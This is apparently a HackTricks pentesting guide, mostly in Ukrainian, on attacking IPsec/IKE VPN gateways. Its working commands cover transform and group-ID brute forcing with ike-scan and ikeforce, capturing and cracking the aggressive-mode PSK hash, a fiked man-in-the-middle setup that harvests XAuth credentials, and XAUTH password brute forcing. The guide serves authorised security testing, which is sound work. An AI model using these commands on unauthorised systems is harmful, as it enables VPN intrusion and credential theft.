26 KiB
500/udp - Pentesting IPsec/IKE VPN
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Основна інформація
IPsec широко визнаний як основна технологія для забезпечення безпеки комунікацій між мережами (LAN-to-LAN) та від віддалених користувачів до мережевого шлюзу (віддалений доступ), слугуючи основою для корпоративних VPN рішень.
Встановлення асоціації безпеки (SA) між двома точками управляється IKE, який працює під егідою ISAKMP, протоколу, призначеного для аутентифікації та обміну ключами. Цей процес відбувається в кілька фаз:
- Фаза 1: Створюється захищений канал між двома кінцевими точками. Це досягається за допомогою попередньо поділеного ключа (PSK) або сертифікатів, використовуючи або основний режим, який включає три пари повідомлень, або агресивний режим.
- Фаза 1.5: Хоча не є обов'язковою, ця фаза, відома як Фаза розширеної аутентифікації, перевіряє особу користувача, який намагається підключитися, вимагаючи ім'я користувача та пароль.
- Фаза 2: Ця фаза присвячена узгодженню параметрів для забезпечення безпеки даних за допомогою ESP та AH. Вона дозволяє використовувати алгоритми, відмінні від тих, що використовуються в Фазі 1, для забезпечення Ідеальної впередньої секретності (PFS), що підвищує безпеку.
Порт за замовчуванням: 500/udp
Відкрийте сервіс за допомогою nmap
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Знайти дійсну трансформацію
Конфігурація IPSec може бути підготовлена лише для прийняття однієї або кількох трансформацій. Трансформація - це комбінація значень. Кожна трансформація містить ряд атрибутів, таких як DES або 3DES як алгоритм шифрування, SHA або MD5 як алгоритм цілісності, попередньо поділений ключ як тип аутентифікації, Diffie-Hellman 1 або 2 як алгоритм розподілу ключів і 28800 секунд як термін дії.
Отже, перше, що вам потрібно зробити, це знайти дійсну трансформацію, щоб сервер міг з вами спілкуватися. Для цього ви можете використовувати інструмент ike-scan. За замовчуванням Ike-scan працює в основному режимі і надсилає пакет до шлюзу з заголовком ISAKMP і єдиною пропозицією з вісімкою трансформацій всередині.
Залежно від відповіді ви можете отримати деяку інформацію про кінцеву точку:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Як ви можете бачити в попередній відповіді, є поле під назвою AUTH зі значенням PSK. Це означає, що vpn налаштовано з використанням попередньо поділеного ключа (і це дійсно добре для pentester).
Значення останнього рядка також дуже важливе:
- 0 повернено handshake; 0 повернено notify: Це означає, що ціль не є IPsec шлюзом.
- 1 повернено handshake; 0 повернено notify: Це означає, що ціль налаштована для IPsec і готова виконати IKE переговори, і один або більше з трансформацій, які ви запропонували, є прийнятними (дійсна трансформація буде показана в виході).
- 0 повернено handshake; 1 повернено notify: VPN шлюзи відповідають повідомленням notify, коли жодна з трансформацій не є прийнятною (хоча деякі шлюзи цього не роблять, у такому випадку слід провести подальший аналіз і спробувати переглянуту пропозицію).
Отже, в цьому випадку у нас вже є дійсна трансформація, але якщо ви в 3-му випадку, то вам потрібно трохи брутфорсити, щоб знайти дійсну трансформацію:
По-перше, вам потрібно створити всі можливі трансформації:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
А потім перебрати кожен з них, використовуючи ike-scan (це може зайняти кілька хвилин):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Якщо брутфорс не спрацював, можливо, сервер відповідає без рукостискань навіть на дійсні трансформації. Тоді ви можете спробувати той же брутфорс, але використовуючи агресивний режим:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Сподіваюсь, дійсна трансформація буде відображена назад.
Ви можете спробувати ту ж атаку за допомогою iker.py.
Ви також можете спробувати брутфорс трансформацій за допомогою ikeforce:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
У DH Group: 14 = 2048-бітний MODP та 15 = 3072-бітний
2 = HMAC-SHA = SHA1 (в цьому випадку). Формат --trans
є $Enc,$Hash,$Auth,$DH
Cisco вказує уникати використання DH груп 1 та 2, оскільки вони недостатньо сильні. Експерти вважають, що країни з великою кількістю ресурсів можуть легко зламати шифрування даних, які використовують ці слабкі групи. Це робиться за допомогою спеціального методу, який готує їх до швидкого зламу кодів. Хоча налаштування цього методу коштує багато грошей, він дозволяє цим потужним країнам читати зашифровані дані в реальному часі, якщо вони використовують групу, яка не є сильною (наприклад, 1,024-бітну або меншу).
Визначення відбитка сервера
Потім ви можете використовувати ike-scan, щоб спробувати виявити постачальника пристрою. Інструмент надсилає початкову пропозицію і зупиняє повторення. Потім він аналізує різницю в часі між отриманими повідомленнями від сервера та відповідним шаблоном відповіді, пентестер може успішно визначити постачальника VPN шлюзу. Більше того, деякі VPN сервери використовуватимуть необов'язковий Vendor ID (VID) payload з IKE.
Вкажіть дійсну трансформацію, якщо потрібно (використовуючи --trans)
Якщо IKE виявить, який постачальник, він надрукує це:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
Це також можна досягти за допомогою скрипта nmap ike-version
Знаходження правильного ID (імені групи)
Щоб мати можливість захопити хеш, вам потрібна дійсна трансформація, що підтримує агресивний режим, та правильний ID (ім'я групи). Ви, ймовірно, не будете знати дійсне ім'я групи, тому вам доведеться використовувати брутфорс.
Для цього я б рекомендував вам 2 методи:
Брутфорс ID з ike-scan
Перш за все, спробуйте надіслати запит з фальшивим ID, намагаючись зібрати хеш ("-P"):
ike-scan -P -M -A -n fakeID <IP>
Якщо не повертається хеш, то, ймовірно, цей метод брутфорсу спрацює. Якщо повертається якийсь хеш, це означає, що буде надіслано фальшивий хеш для фальшивого ID, тому цей метод не буде надійним для брутфорсу ID. Наприклад, може бути повернуто фальшивий хеш (це трапляється в сучасних версіях):
Але якщо, як я вже сказав, не повертається хеш, то вам слід спробувати брутфорсити загальні назви груп, використовуючи ike-scan.
Цей скрипт спробує брутфорсити можливі ID і поверне ID, для яких повертається дійсне з'єднання (це буде дійсна назва групи).
Якщо ви виявили конкретну трансформацію, додайте її в команду ike-scan. І якщо ви виявили кілька трансформацій, не соромтеся додати новий цикл, щоб спробувати їх усі (вам слід спробувати їх усі, поки одна з них не спрацює належним чином).
Ви можете використовувати словник ikeforce або той, що в seclists з загальними назвами груп для брутфорсу:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Or use this dict (is a combination of the other 2 dicts without repetitions):
{% file src="../.gitbook/assets/vpnIDs.txt" %}
Bruteforcing ID with Iker
iker.py також використовує ike-scan для брутфорсу можливих імен груп. Він слідує власному методу, щоб знайти дійсний ID на основі виходу ike-scan.
Bruteforcing ID with ikeforce
ikeforce.py - це інструмент, який також можна використовувати для брутфорсу ID. Цей інструмент спробує експлуатувати різні вразливості, які можуть бути використані для відрізнення між дійсним і недійсним ID (можуть бути хибнопозитивні та хибнонегативні результати, тому я віддаю перевагу методу ike-scan, якщо це можливо).
За замовчуванням ikeforce на початку відправить кілька випадкових ID, щоб перевірити поведінку сервера та визначити тактику використання.
- Перший метод полягає в брутфорсі імен груп, шукаючи інформацію Dead Peer Detection DPD систем Cisco (ця інформація повторюється сервером лише якщо ім'я групи правильне).
- Другий метод, що доступний, полягає в перевірці кількості відповідей, надісланих на кожну спробу, оскільки іноді надсилається більше пакетів, коли використовується правильний ID.
- Третій метод полягає в пошуку "INVALID-ID-INFORMATION" у відповідь на неправильний ID.
- Нарешті, якщо сервер не відповідає на перевірки, ikeforce спробує брутфорсити сервер і перевірити, чи відповідає сервер деяким пакетом, коли надсилається правильний ID.
Очевидно, мета брутфорсу ID полягає в отриманні PSK, коли у вас є дійсний ID. Потім, з ID та PSK вам потрібно буде брутфорсити XAUTH (якщо він увімкнений).
Якщо ви виявили конкретну трансформацію, додайте її в команду ikeforce. І якщо ви виявили кілька трансформацій, не соромтеся додати новий цикл, щоб спробувати їх усі (вам слід спробувати їх усі, поки один з них не спрацює належним чином).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(From the book Network Security Assessment: Know Your Network): Також можливо отримати дійсні імена користувачів, підслуховуючи з'єднання між VPN-клієнтом і сервером, оскільки перший пакет агресивного режиму, що містить ID клієнта, надсилається у відкритому вигляді.
Capturing & cracking the hash
Нарешті, якщо ви знайшли дійсну трансформацію та ім'я групи, і якщо агресивний режим дозволено, тоді ви можете дуже легко отримати хеш, який можна зламати:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
Хеш буде збережено в hash.txt.
Ви можете використовувати psk-crack, john (використовуючи ikescan2john.py) та hashcat для crack хешу:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Агресивний режим IKE в поєднанні з попередньо спільним ключем (PSK) зазвичай використовується для групової аутентифікації. Цей метод доповнюється XAuth (Розширена аутентифікація), яка служить для введення додаткового рівня аутентифікації користувача. Така аутентифікація зазвичай використовує сервіси, такі як Microsoft Active Directory, RADIUS або подібні системи.
Перехід до IKEv2 демонструє помітну зміну, де EAP (Розширювальний протокол аутентифікації) використовується замість XAuth для аутентифікації користувачів. Ця зміна підкреслює еволюцію практик аутентифікації в рамках безпечних комунікаційних протоколів.
Локальна мережа MitM для захоплення облікових даних
Отже, ви можете захопити дані входу, використовуючи fiked, і перевірити, чи є якийсь стандартний логін (Вам потрібно перенаправити трафік IKE на fiked
для прослуховування, що можна зробити за допомогою ARP спуфінгу, більше інформації). Fiked буде діяти як кінцева точка VPN і захопить облікові дані XAuth:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Також, використовуючи IPSec, спробуйте здійснити атаку MitM і заблокувати весь трафік на порт 500, якщо тунель IPSec не може бути встановлений, можливо, трафік буде відправлений у відкритому вигляді.
Брутфорсинг імені користувача та пароля XAUTH за допомогою ikeforce
Щоб брутфорсити XAUTH (коли ви знаєте дійсну назву групи id та psk), ви можете використовувати ім'я користувача або список імен користувачів та список паролів:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
Таким чином, ikeforce спробує підключитися, використовуючи кожну комбінацію ім'я користувача:пароль.
Якщо ви знайшли один або кілька дійсних трансформацій, просто використовуйте їх, як у попередніх кроках.
Аутентифікація з IPSEC VPN
У Kali VPNC використовується для встановлення IPsec тунелів. Профілі повинні знаходитися в каталозі /etc/vpnc/
. Ви можете ініціювати ці профілі за допомогою команди vpnc.
Наступні команди та конфігурації ілюструють процес налаштування VPN-з'єднання з VPNC:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
У цьому налаштуванні:
- Замініть
[VPN_GATEWAY_IP]
на фактичну IP-адресу VPN-шлюзу. - Замініть
[VPN_CONNECTION_ID]
на ідентифікатор VPN-з'єднання. - Замініть
[VPN_GROUP_SECRET]
на груповий секрет VPN. - Замініть
[VPN_USERNAME]
та[VPN_PASSWORD]
на облікові дані для автентифікації VPN. [PID]
символізує ідентифікатор процесу, який буде призначено, колиvpnc
ініціює.
Переконайтеся, що фактичні, безпечні значення використовуються для заміни заповнювачів під час налаштування VPN.
Довідковий матеріал
- PSK cracking paper
- SecurityFocus Infocus
- Сканування реалізації VPN
- Оцінка безпеки мережі, 3-е видання
Shodan
port:500 IKE
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.